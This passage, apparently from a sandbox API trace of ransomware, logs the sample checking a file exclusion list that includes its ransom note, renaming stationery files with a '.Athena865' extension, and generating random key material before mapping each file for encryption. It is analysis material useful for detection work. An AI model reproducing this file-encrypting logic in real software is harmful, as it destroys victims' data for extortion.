dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.827] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.827] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.827] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.828] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="..") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="windows") returned -1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootmgr") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="temp") returned -1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="pagefile.sys") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="boot") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ids.txt") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ntuser.dat") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="perflogs") returned 1 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="MSBuild") returned 1 [0116.828] lstrlenW (lpString="SoftBlue.jpg") returned 12 [0116.828] lstrcpyW (in: lpString1=0x241e8bc, lpString2="SoftBlue.jpg" | out: lpString1="SoftBlue.jpg") returned="SoftBlue.jpg" [0116.828] lstrlenW (lpString="SoftBlue.jpg") returned 12 [0116.828] lstrlenW (lpString="Athena865") returned 9 [0116.828] lstrcmpiW (lpString1="tBlue.jpg", lpString2="Athena865") returned 1 [0116.828] lstrlenW (lpString=".dll") returned 4 [0116.828] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".dll") returned 1 [0116.828] lstrlenW (lpString=".lnk") returned 4 [0116.829] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".lnk") returned 1 [0116.829] lstrlenW (lpString=".ini") returned 4 [0116.829] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".ini") returned 1 [0116.829] lstrlenW (lpString=".sys") returned 4 [0116.829] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".sys") returned 1 [0116.829] lstrlenW (lpString="SoftBlue.jpg") returned 12 [0116.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.Athena865") returned 80 [0116.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.athena865"), dwFlags=0x1) returned 1 [0116.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.830] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10569) returned 1 [0116.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.830] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.830] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.831] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.831] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.831] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2c50, lpName=0x0) returned 0x154 [0116.834] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2c50) returned 0x100000 [0116.835] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.835] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.835] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.835] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.836] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3dd680, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3dd680, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2=".") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="..") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="windows") returned -1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="bootmgr") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="temp") returned -1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="pagefile.sys") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="boot") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="ids.txt") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="ntuser.dat") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="perflogs") returned 1 [0116.836] lstrcmpiW (lpString1="Stars.htm", lpString2="MSBuild") returned 1 [0116.836] lstrlenW (lpString="Stars.htm") returned 9 [0116.836] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Stars.htm" | out: lpString1="Stars.htm") returned="Stars.htm" [0116.837] lstrlenW (lpString="Stars.htm") returned 9 [0116.837] lstrlenW (lpString="Athena865") returned 9 [0116.837] lstrlenW (lpString=".dll") returned 4 [0116.837] lstrcmpiW (lpString1="Stars.htm", lpString2=".dll") returned 1 [0116.837] lstrlenW (lpString=".lnk") returned 4 [0116.837] lstrcmpiW (lpString1="Stars.htm", lpString2=".lnk") returned 1 [0116.837] lstrlenW (lpString=".ini") returned 4 [0116.837] lstrcmpiW (lpString1="Stars.htm", lpString2=".ini") returned 1 [0116.837] lstrlenW (lpString=".sys") returned 4 [0116.837] lstrcmpiW (lpString1="Stars.htm", lpString2=".sys") returned 1 [0116.837] lstrlenW (lpString="Stars.htm") returned 9 [0116.837] lstrlenW (lpString="bak") returned 3 [0116.837] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.Athena865") returned 77 [0116.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.athena865"), dwFlags=0x1) returned 1 [0116.838] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.htm.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.838] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=230) returned 1 [0116.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.838] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.839] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.839] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.839] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x154 [0116.842] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000 [0116.845] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.846] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.846] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.846] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce4037dd, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce4037dd, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2=".") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="..") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="windows") returned -1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="bootmgr") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="temp") returned -1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="pagefile.sys") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="boot") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="ids.txt") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="ntuser.dat") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="perflogs") returned 1 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2="MSBuild") returned 1 [0116.847] lstrlenW (lpString="Stars.jpg") returned 9 [0116.847] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Stars.jpg" | out: lpString1="Stars.jpg") returned="Stars.jpg" [0116.847] lstrlenW (lpString="Stars.jpg") returned 9 [0116.847] lstrlenW (lpString="Athena865") returned 9 [0116.847] lstrlenW (lpString=".dll") returned 4 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2=".dll") returned 1 [0116.847] lstrlenW (lpString=".lnk") returned 4 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2=".lnk") returned 1 [0116.847] lstrlenW (lpString=".ini") returned 4 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2=".ini") returned 1 [0116.847] lstrlenW (lpString=".sys") returned 4 [0116.847] lstrcmpiW (lpString1="Stars.jpg", lpString2=".sys") returned 1 [0116.847] lstrlenW (lpString="Stars.jpg") returned 9 [0116.847] lstrlenW (lpString="bak") returned 3 [0116.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.Athena865") returned 77 [0116.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.athena865"), dwFlags=0x1) returned 1 [0116.848] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stars.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.849] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7505) returned 1 [0116.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.849] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.850] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.850] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.850] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2060, lpName=0x0) returned 0x154 [0116.851] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2060) returned 0x100000 [0116.852] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.853] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.853] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.853] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54403c2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54403c2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x452797c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x748, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Stucco.gif", cAlternateFileName="")) returned 1 [0116.853] lstrcmpiW (lpString1="Stucco.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.853] lstrcmpiW (lpString1="Stucco.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.853] lstrcmpiW (lpString1="Stucco.gif", lpString2=".") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="..") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="windows") returned -1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="bootmgr") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="temp") returned -1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="pagefile.sys") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="boot") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="ids.txt") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="ntuser.dat") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="perflogs") returned 1 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2="MSBuild") returned 1 [0116.854] lstrlenW (lpString="Stucco.gif") returned 10 [0116.854] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Stucco.gif" | out: lpString1="Stucco.gif") returned="Stucco.gif" [0116.854] lstrlenW (lpString="Stucco.gif") returned 10 [0116.854] lstrlenW (lpString="Athena865") returned 9 [0116.854] lstrcmpiW (lpString1="tucco.gif", lpString2="Athena865") returned 1 [0116.854] lstrlenW (lpString=".dll") returned 4 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2=".dll") returned 1 [0116.854] lstrlenW (lpString=".lnk") returned 4 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2=".lnk") returned 1 [0116.854] lstrlenW (lpString=".ini") returned 4 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2=".ini") returned 1 [0116.854] lstrlenW (lpString=".sys") returned 4 [0116.854] lstrcmpiW (lpString1="Stucco.gif", lpString2=".sys") returned 1 [0116.854] lstrlenW (lpString="Stucco.gif") returned 10 [0116.854] lstrlenW (lpString="bak") returned 3 [0116.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.Athena865") returned 78 [0116.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.athena865"), dwFlags=0x1) returned 1 [0116.855] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Stucco.gif.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stucco.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1864) returned 1 [0116.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.857] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.857] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.857] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa50, lpName=0x0) returned 0x154 [0116.858] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa50) returned 0x100000 [0116.859] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.859] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.860] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.860] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".") returned 1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="..") returned 1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="windows") returned -1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="bootmgr") returned 1 [0116.860] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="temp") returned -1 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="pagefile.sys") returned 1 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="boot") returned 1 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="ids.txt") returned 1 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="ntuser.dat") returned 1 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="perflogs") returned 1 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2="MSBuild") returned 1 [0116.861] lstrlenW (lpString="Tanspecks.jpg") returned 13 [0116.861] lstrcpyW (in: lpString1=0x241e8bc, lpString2="Tanspecks.jpg" | out: lpString1="Tanspecks.jpg") returned="Tanspecks.jpg" [0116.861] lstrlenW (lpString="Tanspecks.jpg") returned 13 [0116.861] lstrlenW (lpString="Athena865") returned 9 [0116.861] lstrcmpiW (lpString1="pecks.jpg", lpString2="Athena865") returned 1 [0116.861] lstrlenW (lpString=".dll") returned 4 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".dll") returned 1 [0116.861] lstrlenW (lpString=".lnk") returned 4 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".lnk") returned 1 [0116.861] lstrlenW (lpString=".ini") returned 4 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".ini") returned 1 [0116.861] lstrlenW (lpString=".sys") returned 4 [0116.861] lstrcmpiW (lpString1="Tanspecks.jpg", lpString2=".sys") returned 1 [0116.861] lstrlenW (lpString="Tanspecks.jpg") returned 13 [0116.861] lstrlenW (lpString="bak") returned 3 [0116.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.Athena865") returned 81 [0116.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.athena865"), dwFlags=0x1) returned 1 [0116.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Tanspecks.jpg.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\tanspecks.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.862] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3650) returned 1 [0116.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0116.863] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519bb8) returned 1 [0116.863] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.863] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.864] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1150, lpName=0x0) returned 0x154 [0116.865] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1150) returned 0x100000 [0116.866] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519bb8) returned 1 [0116.866] CryptGenRandom (in: hProv=0x519bb8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.866] CryptReleaseContext (hProv=0x519bb8, dwFlags=0x0) returned 1 [0116.867] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.867] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1 [0116.867] lstrcmpiW 